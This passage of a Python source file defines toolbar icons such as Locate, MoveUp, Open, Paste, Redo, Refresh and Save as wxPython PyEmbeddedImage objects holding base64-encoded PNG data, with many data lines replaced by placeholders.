\"UF1z1PHf1FRlcUkpTNOEYRjwP3yAE41NO7CJ0lWM4s86jPjMDCb/nEBxcTGJhUJYmnqEQbu9\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"jdZXeL1efySCxXC4zxCi26EoWAgGYQF3j/f0NwCYWAgG4VAUGEJ0L4bDff5IBBVerxfRaH1q\"\n \"sGk+rzGGiGHwJSGGVMYanHY7KCHzJ4DrALQ64HtKyLzTbofKWMOSEEMRw+AaY5CG8cJ6a9na\"\n \"BcTknqCuY6umoYSxG57sbEwsLCzNct4HwA1AAsAs573w+epe8Xh2zC0v31AY40FdB+XCDUAD\"\n \"YAIQNHELtTN2eS4QQIaiMIeq4p7Ph2Upf/2I834A2YnP1cT51adSjt3z+eBQVWQoCpsLBGAx\"\n \"1gNATewGIesWhV3VtBYqZbUlJfFJefOkaQ4kYlZSh7yTsdpdlFYzQkSckFvv6/o5AHytYpI0\"\n \"eiThO01AlKSRXOvQSkDEuhMJuywA+B+n69WfhO60vAAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nLocate = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wUJAwcewQ9TMAAAAypJREFUOMuF1cFvVFUU\"\n \"x/HPDDMtdBKZAk8gMZGLCcaA6RhNWMwCCAZ2bo1JTf0TgIUrVBL32q0LI5jGsDESNgbcdOEs\"\n \"XDFGTEQSbokaC8PQFnmvpULrYt4MM0OLJ3nJu++d+73n/O459xY8x0I9zCYHkiMb/cvameuX\"\n \"rxc2m1vYBDiNGibsVDWygVMbq5pYio149H/BOXQqeTOpKtGab3HbLPblzwXjpoyRvJTI5jLp\"\n \"nbQZG/GNTcH90Na9Fre9hz8wjy9xBIdRRsW4K5W9FdqegZeeB42NeLHvfy+A2IiN/NvJVHql\"\n \"sreiolIL9XCtCy/1BVxLDifVPPUeNEzmeq+asIayL0IISzgVZ+LVYXgXVuyLdqJ1d0NoE+cs\"\n \"mLOI1AWcw6kwGWqxEa9acDL9O5U+SIV6uNYDd6O1xgbQS3EmzsosWUZbM87EWUwPwGEHyYGk\"\n \"1g/u2G1T/dJgLs7ExXx8CsfyxcSZ2MyrpAoWnJQ9nVwaqrb3Qz0cx8tWTVjweajnejZi85k6\"\n \"H/QZsGHw2723NazrbkZ1yK+GI0M+A1YcGk/FRizERiwoaxpzuj/9PuvIMuhzbPOIx13A12CL\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"NNRTKULYjVE7HDDqs+TV5HXoSdNvWzvAsW1jsnbWgaa+8dDDGGNrGLwnT7tgp/2Kqko+7S6w\"\n \"<KEY>\"\n \"kMUYV5+9QUIo5LqXMZpPKKBsj28VHfbIu9qudgRRxCMsYD3GuN5l/Qe3YXJJdwMq5QAAAABJ\"\n \"RU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nLocateArmed = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wQaExMj1CO6xQAAAWRJREFUSMe1lTFuwzAM\"\n \"RSmje87g3XsM9BwZvGeXjiLt2TP4HAGcPbvP4BOoQ/DbX5qSG6PhaBHvi5+kLPLmcFsJQ9fm\"\n \"2vn1MbtdAgz2BzsnLdtCTQ3uDz/w6eQlLU/odPKiz0uVNjU4wABy9LfZsVBJpNmCi4iEEFwI\"\n \"YWVBCMH1t6c1JRGnBSz49GmXD7iICHLSInI8e8GFGqupGg47uAfTyQsLs9j9kmyLeFoYHmPM\"\n \"2iLYo6sDI8aYzSbrhjL8+pjd8bxuOGBcBeJDf0B5sOx+STJ0bcacQ4wtRc6f98AK3PLVWFXw\"\n \"y4IxiWUJ7Iox5lXOmOoC/Zi+vUQDtS1sF+dY49xYbws3rVc34nNMWel9qi6atUTWomHK9KKh\"\n \"Kld7KlgkxpgxYey5huN8tcnsLRL55taileDVMbVELIv4u4bzZf7th2PBN3+Z7HspdD9e/ifz\"\n \"WFpNLoF3xdC1eejavPfZeEt8AZHHDNdIUA3RAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nMoveDown = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wUJAjEUqQRBbAAABBVJREFUOI2NlE1oXFUYht9z5t7JnZuZyZ+pBnpmJhis\"\n \"goR02UWCacnAJF0UERRsF+JCcRErdKFgcSGou6iIKPiD1EV1K+3oSCC6kZqNSrUVtLl3TshM\"\n \"TYK5c+f+ZO7P58IZHJKb4gcHDi/veXjPd757WaVSMarVagkH6tSpU59MTk6eHRkZSTUaDVdK\"\n \"+dX6+voLB31HlZIkzszMvL24uPj4wsLCEBGh0WiMrq6uPsk5t+7evfuOYRjN/wMerFQq53uC\"\n \"<KEY>\"\n \"<KEY>dHpdMAYywKYV4ATnLFnCfjjh0LhpRD4e7Ze/6kfvFetVocPtOI9VVUv\"\n \"2Lad1zQNtm2j2WzarVbrzyAI7LKU73etL64VCstZxj7LAPb3hcITc/X6rcQeF4tFtd1ufyql\"\n \"HLcs63Qmk0m5ruu1Wq1V13W/NE1zq9/fIfqwDbSzjH08xNiba4XCGx2i24fApmkGpVLp51ar\"\n \"9Zrv+18oiqKEYegHQfB7FEUbB/1lKfdrQlxtERWHOX+ZATfLUv6YOBVEFAPocM73VVUN4zj2\"\n \"AQSMsTjJX5bSrQnx+m4cP3Qf5+dXhVAPgUulkpJOpx8+fvz4K1NTU+WhoSFla2vLNQzjm729\"\n \"vXcnJydvbmxshAnwsCZECKDIgJlDYMMwwpMnTz5/5syZs/Pz8/k4jrG9vT28trZ27saNG7ue\"\n \"560A2Dp4rr8YUFYA5CuVysWe2Ol0xoloLpPJDPZGjHOOsbGxXC6Xe3B3dzdfLBYbpmnSveC9\"\n \"<KEY>bUkrs7+/fiwXWXdQFt6rV6mi/YXp6eoVz/oxt20MDAwNwHAfN\"\n \"<KEY>\"\n \"<KEY>\n \"WAHeynL+lEWEeSn1JLDGGNOIaE/XdXJdd6mrX+Ocl4ioQUSdspRRTYjfAMylGbucZey51L9/\"\n \"u3UktQKAT0Q+gB70eldf0jTN8H1fENFmTYgWB9qjnF+OgWUFgEX03WP1+mkAUIIgGAaw2D18\"\n \"vW9/vg+K8fHxwPf9ix8cO3aupKqXcoxlVcZyCmPLThzDA76dq9fLPT/nnAe6rl/Tdf0aAPTt\"\n \"tf5r2LbdcBzn2F9RtA2AQoB1iGDF8S820YXZPigAoFKpGEe8D/WlB2PsaV3XiXN+PwDUhNir\"\n \"CWHUhHg06XBSjzmAGP99REsAQESfu67LLo2OaguDg6mylMPdx/s1CfwPBWAC+CiCmmwAAAAA\"\n \"SUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nMoveLeft = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wUJAjQCIKcAeAAAA5tJREFUOI2dlO9rHEUYx7+zP87drZduLngm6PZ2EVFC\"\n \"iecLkRR8U4i4qUjavOgbhfpKLL7whb7wvdo3ohV9UxFFFAVBQbQ5mph/QAMhBUUazO3eBu7S\"\n \"9NK7vcnc3u3urC+6FzbNNQk+MMzMd3Y/z3efnRli27ZTqVRMpGGapug4Tjw9Pf2VZVkvj46O\"\n \"ivV6nXme9yul9LMgCG5Vq9UYR4R0v+A4Tlwul6/Ozs5emJmZOZkkCer1emF5efniyspKu9fr\"\n \"fQqgcRzwCdu2Xx0IQRCMAzibz+fzm5ubCIIAkiRhYmJiZGRk5Klms6mXSqUt13WTo8AygG8H\"\n \"gqIoA+e82+0il8thd3cXnueh3++DEHKU2T1wq1Kp6FmxXC5/Lsvya5TSEUVR0Ol00Gg0Or7v\"\n \"/xtFkX+U2wF4X5RKJZlS+rXneY+02+2zqqqKjLGu7/vLjLEfOed3juNYuF9wXTeMomhtdXX1\"\n \"YqvVejeO4zvb29tvUko/CMNwzXXd/nHABxwDgOM4UalUIsVicUGSpLcYY78BSLIlME1TlmX5\"\n \"aVVVT0mSRIIg6PT7/Vuc862NjQ0+FJw6TyYnJ3k65tk10zRlTdOeN03zQ9M0TyuKQmq1Wtvz\"\n \"vO993//CsqzaA8GHBSHksXw+/97c3NyZqakpMQxD1Go1fWlp6fW1tbWtIAi+PA64aNv221kh\"\n \"CILHc7ncM6Ioio7jIIoiAMDY2NiYoihPiqL40FHgXQAGgE+y4mCvr6+vQ9d1CIIA3/fRaDT2\"\n \"<KEY>\"\n \"<KEY>\"\n \"B2+3LCjTDxLgWhQlItBRCenIhHyjxvHHG46zdyoPnDzcu5QAAJqm9QBcSNsgUS5dPhcDmzIh\"\n \"IECRABtZyDDH4cAlY+wcgIV0Pp+CjRuG8SyA7wTgPIAracZ9P1kKw1AHMJvOF9LxLoBLGSgA\"\n \"/Axg/tr4+BwB3skT8rBAyO9RkiAG/kyAf/aBBUEINU27DgCMMTIYd7vdy0ly8HbcjuNtS5aT\"\n \"CCAkScCS5CaAN170vJv7HrRt2xlSDqSfPZuZD+r86A3DOLNoGK1Fw3AWDeP0sJeH1VgAwAEQ\"\n \"TdMSxth8qv8EgJzP52UO3BaB5wD8AuCvYeD/AOQorv2N7OunAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nMoveRight = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wUJAjUzaGIxAwAAA2VJREFUOI2dkk1oI3UYxp//fOTjnyZtkq27WTfGiDWF\"\n \"0kKgWuoXeAlMe1uKLos3PSsIelAPenPrwcPqag+rLOLJm+IGmkNFELbSg1C0UkyZ6Wyatmmr\"\n \"ziRvMp1k/h5MpAzJNuxzGuZ5n987PPMyTdP0YrH4OHyampqKJxKJO9ls9tlIJMIqlYp1eHh4\"\n \"o91u39nY2Gj65/1SBhmBQODjpaWlwvz8fLDdbsMwjESpVPpgZ2enDKA0DDiiadqrfsNxnDnO\"\n \"eWB3dxeO40CWZaRSqQQR8UwmwwzDEOeBVQBf+41gMIhyuSzi8ThkWUa9XkelUkGz2QQACUDn\"\n \"PPDfxWJxzG/k8/mvOOfXk8lkQFVVWJaFarX6l23bBOCBX9sD91Wj0XhT1/Urx8fHTyuKEm61\"\n \"WgdEtOK67o+GYXgPDd7e3rYmJydf2dvbe9G2beRyuY1ms1nb2tpyz4MCADRN089bzjmvDgU7\"\n \"I2mIGQbg0oBshHN+BGABwALnvNd9YGAVZ8FE9E73uTffliQpFAqF6kS0COAuABDRIudcEBEb\"\n \"BixxzpeJ6BcAUQCPAPjO87wlImK+2btEtDg+Ph4fpor/T4tz/n04HL7dXfb5oIBt20P9vL5i\"\n \"jPFupwtnXi9wzoUkSY8NU0VfCSFaRBTnnN8nopcBgHP+AxGNAmg9NBiAB8COnp4+8eXly9cU\"\n \"xsbertVSL42OOtdiMfeB4JmZmUczmQyPRqOsWq12jo6Oapubm1bPX02nVQCLEnADQGjl4kUA\"\n \"+KRgmk5fcCaTYSMjI7lsNntrYmIiHw6HJVVV64yxlbm5uU/X19dPVtNpGcDrAG6GGYMMwBLi\"\n \"QwCN1XT6Vl+wYRhidnb2/UKh8Fw+nw+4rouDg4PY2traG6l7935aTqf/6AAveMBNBkAG4AJg\"\n \"wJoAcgDCCoAxTdOu++Gu6z7DGFN1XYfrumCMIRaLxa54nhtibFJi7AKAjxhwVQBPWZ5XAvAW\"\n \"gN8KpimU7rJv/GBVVVEul0UikYCiKLAsC5VKBdlOJ3kK3JaFuNA98FYH+BbAuwXT/LOXVwA0\"\n \"isXiuB88PT39maIoryWTyaCqqrBtG/v7+7Vfhbj/pBBXGf47CwA1ARwXTLN2Nj/wKhzHeU/X\"\n \"9UsnJyfPB4NB1mg0/iGi5Z8l6fcvTLM1KNfTv8MRYRfOZO7TAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nMoveUp = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wUJAjIEn54CywAABCZJREFUOI2FlE9oHFUcx7+/ebP/Znd2U5PUgx2ya9rG\"\n \"ovjn5ClpQ+mWTXrwLKIHEQsq1oPSiuiheBBBIZ4KgkgoFAQRtV27IER7sLmUHoIVSdJNnolJ\"\n \"szG7mZ2Z3Z198/OQ2bAm2/jgMb95j/n8vu/Ldx4KhUIZ/x2iUxiGwQAmwsmapvUBEEXLopJl\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"RommS5Z1+CBwKJR+C72mcLbCve8BnMtLWWkxf7QdBFcUoBHwPIBEr1RgaGhIE0Jk4/H4iUQi\"\n \"QZ7ntZrN5jwzLy8uLrYBIC+lArAY1lUA53+xrJGMpp3aYr63D5zNZvVoNPrEkSNHLh09ejSf\"\n \"yWT01dVVt1wu36xWq1MA7j7seAw4Yaj3KyaigWQyef706dPnxsfH00EQYGNjo29mZuaF2dnZ\"\n \"zYPACviTgckAOz9IulAoXAj3Ikopv91un0wkEkkpJVqtFjRNQ39/v2ma5vDDoKHidKfuKP68\"\n \"syCEgO/7c+VyGZ7nIRaLoV6vQ0qJZrN5EBfclTIdwHaxWHyks5DL5R41TfPiwsKCZdt2JhaL\"\n \"wXEcrK2t1Wq12h//AxaMHfo+j4Mg2HQc50spZX+tVssbhqE7juPatv2T53nXDpQMpMIGrX3g\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"TA4JIVLwfcskGtGIjjNw3mc+4QHfNJjfzku5BuykwgfwdQcciUTged6d7hzbtg0pJRqNBpgZ\"\n \"<KEY>\"\n \"UlsAXvOYGwCaAOp5Kf/Za+k+j5l503XdK8vLy4eq1eqkYRgR13Xr29vbPzabzatBEFTOSrm+\"\n \"97u9418tpvCNFrJAcwAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nNew = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/ADpAE8017ENAAAA\"\n \"CXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QISDiUwykMmCQAAAkFJREFUOMutlc1rE2EQ\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"ENnBZAF0HlDgADAuA4f3BCNAHFNBFUQcAjlIwCIy2gT/DQQdhoMGYj82gO3fglU1/BdBRNPD\"\n \"RFFxCDjKgGWGdgKGa7j+czY/byEET4CWuxtYVVONEZCsxgIqCDOYHMOnwphTzM6VaGx858zJ\"\n \"1gfg51TGa+uNSbMy2Sc/4iocTOcw5zgyc5pev4Tr1fuuV7cp8LmzS9RqtZympHKoRPdRdaJh\"\n \"VZNjwa5StNvtcJNpKENSPkkVkadED0wt909dYWJJdvleTg4QQSkATjYBGpkVagqi0X0cj5IN\"\n \"47lxzwfevX87lZFIKEUMzWossQl7gZeXzlOtVtMe1shENDJOEBTVbJdoMY273e5EuzHxnpDk\"\n \"gGxlhTROT9GMeRGQeMRJ9C8MTrLR1LiIF1uZTqNJpo8LZpy4Ho82k8aFVVAsY8/z+B8rAQdB\"\n \"cOfBo3u39gP7stW6OvXNy6vwj+zkY/oLI/uTo02YtuAAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nOpen = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"<KEY>\"\n \"xz/n5ja9SW7Wptmytuuqc0Wn7TpkymQKguCrIM6JDwVBfFZh+KaC+qq++aAPg+nUsnUguIeB\"\n \"Pvgg7sH+WWxruz92pSVJ2yymadI2ybnn58NN0si2yAp+4Rx+/H7nfn+/e35/juI+OPfN2dMo\"\n \"Rj3tIQitoFAIggifvPnGW++3PHzh0nfyICgUCnLu/NlGBPbIyMhxg3dZKct3jiIcDlm66gHg\"\n \"edpX3wfGGAC0rhIMBht6u1DIf/n2O+/ubz68spqmt/cAAJOTk6TSaSylfH7ZuQAQjAixWCdD\"\n \"g0MNJwC2QXSxWGRifByAcCRMX38vJ595lnw+x8DAAEeOPIZlBXwiI4hIQwbBtm1S6Qxa6yZi\"\n \"z6y3Ox3E43sBiCc6OXniOUqlEouLi/w+Po4TCjXFSIOgPRjkof5+BgeHWF3L4LruDrEVUJHK\"\n \"<KEY>bEIoVCIhYWbVLXm6PAQSvw7VpZCjKAsUEphPCGxv5u5+Xnm5ueIx7s+bRA7\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>mVSm2HUJVW3+ehy29CekJy9ufTL6Fja9j9mslgsnup+5CC5\"\n \"oiadKzfNRAHxx6Kqyb6uZgMQRcUTJiaS1cTmbx8D2ED<KEY>bMqt6Jtua1vqt/\"\n \"zd8dW6KjnapnmJtNrv00OvZ1nXjv9PR0pLun27ry5+bdGRH/GmjaVSNS36a1wEbGY3PlImAB\"\n \"xgY2stns9WtTUx9F3NkPdltm+s71G1OXvjgPuECh/ncOEK4p3ZrXB4EAFWATyAFb9+pLq+WT\"\n \"0Rqm+Sn4X/APqDnRZPJeirYAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nPaste = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"<KEY>\"\n \"gL/75ictbdRx/EmEQFByF+bCTVjkiLTIrE1gO3eR26ZFMNQgbbJFFIQTBAlua+PsykVJkC4k\"\n \"EAoCMUNnxnTe8znTjOO9Leb/OaNYBx7v3nvu+d53z32CI2J0dPQD0G9Znpuenr50WJ0onvj9\"\n \"aCtzOAFSzdfO20+cfiel8vT0dCFEZqtSisXFb2iaiKaTOyPO8NsFgLP9pPx+5AHw+IDttkI+\"\n \"k5IagD/1fVpzZ59ob28ua7S2FmXj+7yq2pqXCtAEppLa3efv998A2HOm25/k05GLHa7wXhNf\"\n \"jG4Sxj5ut4eOjs68Q0Y6804mYWOjS1S3nbP1nl7GRdg1O/9jEiiAV+Zw1tqpczg0Fra68T14\"\n \"jB7TmZx8wtLSclnj2toafL771DfUM/HwHiMtm0glGkGRB+f7ogRmEtwNbuw2G4FAgHQ6XRZs\"\n \"t9sRQuBy1RFPidLLsoKtIYTA4XBUzCuliiZHgIvzoVDoECgMDnor5g81HhoaKgNU2UcipSxT\"\n \"VQlcpGw1LkAVoBgYGPg/44Jh5p2DG4ZOU1PL0WBL/5mdDQGq5Pherzc/NnaMirUW40JaSsng\"\n \"oLfEUMpMX3Nr0Ui04mkrtqIYUNyK9fVfmOYu8XgcpY5zeWXBMmusWF39yfDwjfw+XY8dF7xf\"\n \"As23Imup6zEMw8A0d/7FuHBJu6ZJJBJBZf9dwzAIhzeYejXF1ZbFyuDctZ1ySqKbUVpb2/Kb\"\n \"2ixFuh4rgbqdu0cbt8uvTDzyEU9plQ6Tj5ttnzlpS5XN2QFez5Ecv8KWmUh7LpzR6VUfSzZZ\"\n \"/9EDISBmpgEVKVrKxJ3LXBea9gKlPNacZVz2mwqxLaubA3st/S+DwZnEgYKxsVtVgAuoAxoA\"\n \"N9CYHdcACSAGbAG/ge3sfBswg8EZCfAXXMGHi74Y/3sAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nRedo = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1gcaChMjSyiLTwAAArdJREFUOMutlE1rE1EU\"\n \"ht9z5yOtqa39NNaKjSKiVAtWhYJYqShtlSwEEcGVyPwGl/4BF+ouGxf6C2bhR6GgoBQXxbYL\"\n \"sdQWa2maJpiJzUczNzP3uknCZJiktXjgMHDP4TnvvHPmAv8YsbguY3H94G59DPuL7Vhc7/zv\"\n \"4CsT5wEg0wy+X8W7wmkXP8MAHgJ47odul1No1/rw6d0iAHSZBrf2BI7F9UkAbyb1/kX38sDZ\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"FNoQrEBFRBmSS5+zLoC7psG/e+u2W6hCjwVBG1phy5xbkqoDIHQqwb/5t8cD3djrL00AVo/O\"\n \"<KEY>4OkTJCt9VB3AC/K4afCE96yZYgJAUsovv62FCcKwqDnjCdPguk+U9GVdsTqZ5Tfx\"\n \"eHpH6XRcLtVSKDv5TLtfgau+1CpPxf9GXjVUKbKfH0Tx5A2WSqxlYhfGoyK5kRmzVmW8mAZV\"\n \"+r3JPFB4FSs+xQSAlt+Kr4NjbC6VtB70dx9Ybx9y7x0ZYT/WPoqEB1YFKhWg8Nqh+C6jGnxl\"\n \"WqwcitJLrjoaAUSMcpFhZod7ycn+krZwahARACbygZnHlprvI4+U7r5z7A4x9EkXWwuv3NfC\"\n \"laJHKCLST2qoRYqNdbkzP+c61SEUsG5B2eiK9W5DnRV/AfIcOgCbYwEfAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nRefresh = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABHNCSVQICAgIfAhkiAAAABl0\"\n \"<KEY>\"\n \"O7uzSzmWW+QQa5GgFkWoaBuPmiatMWnaEIKamKYC1k+2TROTJv3SNDE1adJaFCQ1toCkNGm1\"\n \"sUdiPEqtCgRBWwVCPRAWAXGBved4n35gIRx+8Esn+WeSmWd+85tnnpmXERH+j40/S1FZWYv0\"\n \"LHUb9jdnl77bkgAA7GnGJZXfrlAU9SMwbDVNK00QFIkzP+ds1BJ0QZBoERT4o6O20pi55qV9\"\n \"p1MEp79MC1s76ysezAMzBlb6XnM9wMpffnGpbWVOsuxyquCcQdcNBEIGHjyatG70egIj4wGJ\"\n \"MRz2c+ULl6Rz6LzdEmIFMZHVUbtnYB5444Hmk9lpcWV7Xl+tRQwLE/4wYjQVmqpA4gDjDKBp\"\n \"A38wgkud98PX/x7SScCzqTBr2a3+EWNyIph37cSuQXkGWlT1XUmCS3t7e/Ey7euWdjHmDXLO\"\n \"AWEREYOZ6naFSgoynIUvpEpEQMggbF2fay/Kz7D3P3wS82pRFuvqHTZ1IYl5L88uK9XPuVRn\"\n \"/ZlOmgoYzGFXwpYQ31+rreAhjhTPiH/7uda+Hz79pjXY1jNMTlXC0HgITwIm1uenM0XmsCwB\"\n \"2R6eDwbDawPDk8wdF+Ndnp16Q9dNLyA+B4CbNRXe9vqKtis15eWGbm38/Upf+4kfO4LxDo7M\"\n \"<KEY>cS01VV06YZ5aCqgSzEOBUPjIQgA\"\n \"doXDsogpQhYAMNtjS4hgosvxZYzD/rOuq48pwk7FLE2eWgguqmpcpcjS2eq3itSkeA1piU5s\"\n \"LkiGqkgwBTGbtQDsSEvPOYvL4szeNwQAoHLFovkuqmpIY8R/syzSjra0R0gQiADC9F4IsulW\"\n \"QABzPpDiqqYxBrgW0QAQwce42P7E5u5x+UYcT6sBAIWgtp/aO0oEkuccj2v4ZIdskzkABsaA\"\n \"sG7i47rWyP2RyfevH9/dHa2LTNvXKUC8VlpQGHbH6PHd/z4sHRx9XEeExHmtABGz22RcuDUC\"\n \"BkJpXhKazt+JDIz6jrYd39Ww0E4WzhRJFcdUh++nybBImvD7q2yybM2cnzNu05aGKZCR6AQD\"\n \"0N0/RpyxVcXvNC9d9NwSnrMssWHSF9x9+97gh75AOJtx3J298awwiDEAa3LiMDgexJCX48iB\"\n \"Lfam8z3bzl3p7ympbvpKWNQBYgNcsWQi6YhDVeJ67g5ttikSuWM1wzsRql8EnpZmCIZ05C+J\"\n \"RcS00HnPi1cKM6Xi/HSt487wB57HvrBnzMfGJ4JOycaQ4taQl5OMxDgna/ylK6yZeuMiMGeM\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>4+/TBGgBhAGEi0mfA9nX7Grx+z+2y3nOf/QPAEY09fe3ONSkrt5UrWvxa\"\n \"cKY6VcUIRkyJCBAR35+jfa3HBq42dQMIRRMkouAMmK3efezNmw37LwOwA1DnRIlGkpxuJSGj\"\n \"ICHoHfYGRvu8APToXEeiUB+ACBHRoqWJMSbNgc1EBiBh+jdvRWNEowMwiciay/kPKWlcmnLc\"\n \"32AAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nRemove = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAFZJ\"\n \"REFUOI1jYBgFAw8YkTkiIiLnGRgYDAjoufDmzRtDGIcFTdLgdUUAA8OXHwwMn78zMHz6xsDw\"\n \"6SsDwwcY/sIg+vYHigVMGObj0czw/gv1vTAKBgMAAEXnKp/wjOxsAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nSave = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CX<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"o/39PxKVj8amtIqF65LNSPpc8b6V8m9tna9+9h23AaE46fqgrfbsj+GLqyMbs6GVPjGeE51V\"\n \"ZU7xz7jGVDrL9NXzQ6lkxhFW+tu7Xzv98XLEliLp+f7A2VVbHnAPD/TbB4eHbSO/D4ojE5PY\"\n \"SitQnHac3nXKdLpQdj3m3LnrEc+li9/8OnArYhHgh2vO43essA4nBr662ui98HRPxz7xvlDv\"\n \"ztzM9dnRwStGdDZOPJlA8QWQfUHHL7Gtn770+i55WWI1Ja2z5BMz968ffejoi+99AnDs4Edf\"\n \"NgRHjyRUVUjOTqFlUgD4gutFr6yNTGjh7mVr/NShFz4PO3I/z6qFwwudDkng26kQqzfVL0py\"\n \"p/uY+GucysL0jXztnW93nQCwAgTL4l+kJu3dx46+uWTnB9u6lqxlPHcxOtTDhycX6eDlQweP\"\n \"<KEY>cHAEgkE7hk\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"iXDVBjNeVedOUV5WDhARgc13btxELpczrFYLMzMzqKqKJEnIskxNpJ5Tbc309/bgXhFguO8S\"\n \"p9qaqYnUm4SqqpLP6yQSCWPtmrUATWI2m93i9/txuVyCrucpzN94MUFVVSpKA3Q820B/bw9v\"\n \"PVNPRWnA9AHk8zoIoCiKEAyuIpPJllodDsfuSCRitsvNoCiNfH2ycdnfZXV1NU6no8UKEIvF\"\n \"mJycvHnfFi/uNnxe71xrFj8QNE3D4/Fw7tw5HA4HsquEUlcZoigiSRKCICBJEi6XC1VV8fl8\"\n \"RKPRJbZILC7cTdd1LBYLhmEgChay2SyapmEYBjab7ZbKb4SpWBAE0uk0dXW16Hoei8WCrutm\"\n \"oN1u57/AChCNRg2/3z//THmWTXK73QCEw+EldmxszAAE4YknH98TCPjP8D9ibGx8+9/nYJ9T\"\n \"cCLRagAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTest = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wUJAw4SGXukUgAABGlJREFUOI19lU1sVFUU\"\n \"x3/3481M5810XssMSGmFWCJQbEXjUghRlJgQ44JE45qFCzcaExITY0JiiCwwxoXBhcTEGCwf\"\n \"MYYYsXwtECuIkgZF1EhbPuw0xXY6M53O+7jXxZsZ2grc5OS93Hve7/zPOffeJ3jAsNaK7u7u\"\n \"ji8OTpzWGk8piCKLMXy4eZv54EHfivvMe4Ofiz97elRe6wTdqxy0kmhtsTZidNxnairk3Pfm\"\n \"yz177WvAzFKAvgd0l5TylSc3ibwVGaRoxw/awCosEIQ1OjvmKCwrc+MG26WcP2KMeQu4vBCi\"\n \"<KEY>3Nvb621Yb7OFQhqllqG0i1QplE5iTBJjoF4POH/<KEY>jDFTwO/3Am9y\"\n \"HOf9tWvXtjmOs3J6OsXmp32USqOkRCqBUpbIGKLQJwzm2LO3CyllxvM8WSqVBowxPwETC8Ee\"\n \"8POaNWtcx3FWCiGYuuOglWX9o1WkjJByHilrBGGFwK8weDTNld+SGGMQQmRd11UzMzNPAF8D\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"jo4nIhMHiMKmo6X3kQrDF3xmZ31eeH6OFcsDrAVr7oKsBWPhzjSUy7wj9+3neBhBGMXAMIit\"\n \"7jesDpd+dgGPbDbL5RGXej2er/ux2rChtilo336OS4DZWYpCxgtBQ2nrGcDwxfZWff+ZSDI2\"\n \"nmytNX3DEKSAep1ZAAkwOcmuWi3uQxTG6qOGgvPD2UVbylrLV8fzcXbh3UytjXuiFHtad8Xw\"\n 